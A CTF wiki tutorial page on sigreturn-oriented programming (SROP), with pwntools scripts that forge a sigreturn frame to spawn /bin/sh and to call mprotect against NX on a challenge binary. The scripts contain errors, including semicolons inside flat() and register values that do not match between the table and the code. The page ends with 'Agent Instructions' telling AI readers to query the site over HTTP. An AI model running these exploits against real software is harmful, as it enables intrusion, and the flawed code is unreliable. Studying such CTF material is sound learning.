# Sigreturn Oriented Programming - SROP

A **sigreturn** is a special type of [syscall](/pwn/general-knowledge/syscall.md).

When this instruction is executed, **the kernel reads the values of the registers and the stack pointer** from a structure **that is stored on the stack**. This structure is typically referred to as a "signal context" or "sigcontext" structure.

**Once the signal is unblocked, all the values are popped** in order to restore the original registers values.

## Exploitation

At the end of the sigreturn instruction, the sigcontext is popped in order to restore the registers. If the stack is controlled (using [buffer overflow](/pwn/stack-exploitation/stack-buffer-overflow.md) for example), all the registers can be controlled as well.

{% hint style="danger" %}
In order to work, this technique need a gadget that make : **`syscall ; ret`**
{% endhint %}

Sigreturn-oriented programming (SROP) is a technique similar to [return-oriented programming ](/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/return-oriented-programming-rop.md)(ROP), since it will use gadget in order to execute a sigreturn. However, **often just few gadget is needed to successfully put this attack into effect.**

An `execve` call can be done by injected values into the registers using sigreturn :

| Register | value                         |
| -------- | ----------------------------- |
| `rip`    | `syscall` instruction address |
| `eax`    | `0x3b` (`execve` syscall)     |
| `ebx`    | address of `/bin/sh`          |
| `ecx`    | `0x0` (NULL)                  |
| `edx`    | `0x0` (NULL)                  |

This can be done using pwntool :

```python
from pwn import *

elf = context.binary = ELF('./chall', checksec=False)
p = process()

BINSH = elf.address + 0x1242
POP_EAX = 0x41018
SYSCALL_RET = 0x41015

frame = SigreturnFrame()
frame.eax = 0x0b            # syscall number for execve
frame.ebx = BINSH           # pointer to /bin/sh
frame.ecx = 0x0             # NULL
frame.edx = 0x0             # NULL
frame.eip = SYSCALL_RET

payload = flat( b'A' * 8;
                POP_EAX,
                0x77,      # syscall number for sigreturn
                SYSCALL_RET,
                frame
                )

p.sendline(payload)
p.interactive()
```

## Disable stack protection

Using sigreturn it's also possible to disable le flag [**NX**](/pwn/protections/no-execute.md) **:**

```python
from pwn import *

elf = context.binary = ELF('./chall', checksec=False)
p = process()

BINSH = elf.address + 0x1242
POP_EAX = 0x41018
SYSCALL_RET = 0x41015

frame = SigreturnFrame()
frame.eax = 0x7d            # syscall number for memprotect
frame.ebx = SHELLCODE           # address where the shellcode will be injected
frame.ecx = 0x1000             # memory length
frame.edx = 0x07            # flag
frame.eip = SYSCALL_RET

payload = flat( b'A' * 8;
                POP_EAX,
                0x77,      # syscall number for sigreturn
                SYSCALL_RET,
                frame
                )

p.sendline(payload)
p.interactive()
```

Using this, if there is a possible injection at the targeted memory, the injected shellcode will be executed even if NX has been setup.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
